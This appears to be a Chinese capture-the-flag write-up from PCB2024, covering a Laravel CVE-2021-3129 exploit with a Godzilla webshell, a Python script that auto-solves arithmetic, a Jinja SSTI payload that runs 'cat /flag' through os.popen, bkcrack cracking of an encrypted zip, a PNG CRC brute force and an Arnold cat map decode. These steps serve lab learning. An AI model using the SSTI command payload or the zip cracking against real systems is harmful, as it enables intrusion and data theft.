Web

ezlaravel-pcb2024

cve直接打

【漏洞复现】CVE-2021-3129_laravel

pic

哥斯拉3之前连接

pic

python口算

脚本:

import requests
import time

def fetch_and_calculate():
try:
# 从/calc路径获取算术表达式 calc_url = 'http://192.168.18.28/calc'
response = requests.get(calc_url)
response.raise_for_status() # 如果请求失败,将抛出异常 expression = response.text.strip()

# 计算算术表达式的结果 answer = eval(expression)
print(f"Calculated Answer: {answer}")

# 构建提交答案的URL submit_url = 'http://192.168.18.28/?answer=' + str(answer) + '&Submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2'

# 定义请求头 headers = {
'Host': '192.168.18.28',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding': 'gzip, deflate, br',
'Connection': 'close',
'Referer': 'http://192.168.18.28/?answer=' + str(answer) + '&Submit=%E6%8F%90%E4%BA%A4%E6%9F%A5%E8%AF%A2',
'Upgrade-Insecure-Requests': '1',
'Priority': 'u=0, i'
}

# 发送GET请求提交答案 submit_response = requests.get(submit_url, headers=headers)
submit_response.raise_for_status() # 如果请求失败,将抛出异常 print("Submission successful!")
print(submit_response.text)

except requests.RequestException as e:
print(f"Request error: {e}")
except Exception as e:
print(f"Error: {e}")

# 定期执行
while True:
fetch_and_calculate()
time.sleep(1) # 每1秒执行一次

得到hint

@app.route('/')
def index(solved=0):
global current_expr

# 前端计算
.....
.....
# 通过计算

username = 'ctfer!'
if request.args.get('username'):
username = request.args.get('username')
if whitelist_filter(username,whitelist_patterns):
if blacklist_filter(username):
return render_template_string("filtered")
else:
print("你过关!")
else:
return render_template_string("filtered")
return render_template('index.html', username=username, hint="f4dd790b-bc4e-48de-b717-903d433c597f")

脚本,ssti得到flag

import requests
from fenjing import exec_cmd_payload

url1 = 'http://192.168.18.28/calc'
url2 = 'http://192.168.18.28/'

r = requests.get(url1)
print(r.text)

answer = eval(r.text)
print(answer)


params = {
'username': 'wsm',
'answer': answer,
'Submit': '%E6%8F%90%E4%BA%A4'
}

data = {
'username': '{{config.__class__.__init__.__globals__[\'os\'].popen(\'cat${IFS}/flag\').read()}}'
}

r2 = requests.get(url2, params=params, data=data)
print(r2.text)

Misc

Simple_steganography

解压得,secret.zip有密码打不开,hint.txt给的是a=7,b=35

pic

010打开secret.zip,发现里面还有东西,binwalk出不来,这时候我们需要用到明文攻击,工具:bkcrack

pic

首先准备两个文件,pnghead和svghead:

pnghead https://github.com/hack3r0pium/hack3r0pium/blob/main/pcb/pnghead

svghead https://github.com/hack3r0pium/hack3r0pium/blob/main/pcb/svghead

然后使用命令得到密匙

bkcrack.exe-C secret.zip -c flag.png -p pnghead

pic

再使用命令得到flag.png:

pic

flag.png

pic

同理使用命令得到a.svg:

bkcrack.exe-C secret.zip -c a.svg -p svghead

bkcrack.exe -C secret.zip -c a.svg -k f45dd89f e3e929fb 3202ba17 -d a.svg

pic

a.svg:

pic

给出这个黄金分割率svg文件我至今都不知道有什么用,当时一直把hint给的a=7,b=35结合这个来想,结果浪费了一大堆时间……

先把得到的flag.png放进010,发现crc值不对,直接脚本爆破宽高

pic

脚本:

import binascii
import struct

crcbp = open("flag.png", "rb").read() #打开图片
crc32frombp = int(crcbp[29:33].hex(),16) #读取图片中的CRC校验值
print(crc32frombp)

for i in range(4000): #宽度1-4000进行枚举
for j in range(4000): #高度1-4000进行枚举
data = crcbp[12:16] + \
struct.pack('>i', i)+struct.pack('>i', j)+crcbp[24:29]
crc32 = binascii.crc32(data) & 0xffffffff
# print(crc32)
if(crc32 == crc32frombp): #计算当图片大小为i:j时的CRC校验值,与图片中的CRC比较,当相同,则图片大小已经确定
print(i, j)
print('hex:', hex(i), hex(j))
exit(0)

pic

改好宽高得到一部分flag:

pic

找到这个后我们需要找到s.png,这个隐藏的是真的深,要在原本的secret.rar找到,打开010,运行RAR模板,会发现有NFTS流

pic

pic

提取s.png的方法很简单,直接7z打开secret.rar然后就能找到s.png,复制出来就行,然后扫码发现是假flag

pic

然后用010打开发现里面还有jpg,手动提出来或者foremost提出来就行

pic

pic

而这时候结合提示a=7,b=35可以想到猫脸变换arnold’s cat map

脚本得到flag另一部分图片:

import numpy as np
import cv2

# 加密
'''
new_x = (x + a*y) % img_side_len
new_y = (b*x + (a*b+1)*y) % img_side_len
'''

def arnold_encode(image, arnold_times):
a = 7
b = 35
# 创建新图像,大小和原图一样
encode_image = np.zeros(shape=(1734, 1734, 3))
height, width = image.shape[0], image.shape[1]
N = height # 边长

for time in range(arnold_times): # 变换次数time
# 遍历像素
for x in range(height):
for y in range(width):
# 猫脸变换,计算加密后的像素坐标
new_x = (x + a * y) % N
new_y = (b * x + (a * b + 1) * y) % N
# 填入加密后的像素值
encode_image[new_x, new_y, :] = image[x, y, :]

cv2.imwrite('encode1.png', encode_image, [cv2.IMWRITE_PNG_COMPRESSION, 0])
return encode_image

# 解密
'''
ori_x = ((a * b + 1) * old_x + (-a) * old_y) % N #原像素点的x坐标值
ori_y = ((-b) * old_x + old_y) % N #原像素点y的坐标值
'''

def arnold_decode(image, arnold_times):
a = 7
b = 35
# 创建新图像,大小和原图一样
decode_image = np.zeros(shape=(1734, 1734, 3))
height, width = image.shape[0], image.shape[1]
N = height # 边长

for time in range(arnold_times): # 变换次数time
# 遍历像素点
for x in range(height):
for y in range(width):
# 猫脸公式逆置换
ori_x = ((a * b + 1) * x + (-a) * y) % N # 原像素点的x坐标值
ori_y = ((-b) * x + y) % N # 原像素点y的坐标值
decode_image[ori_x, ori_y, :] = image[x, y, :]
cv2.imwrite('decode1.png', decode_image, [int(cv2.IMWRITE_PNG_COMPRESSION), 0]) # 以PNG写入图片
return decode_image

if __name__ == '__main__':
# imread(path,flag)读取图片,加载彩色图片默认参数值是flag=1,灰度是0,透明度-1,结果是三维数组,前两维是像素坐标,最后一维是通道索引
# 加密
# en_it = cv2.imread('origin.png')
# arnold_encode(en_it,1)
# 解密
it = cv2.imread('1.png')
arnold_decode(it, 1)

pic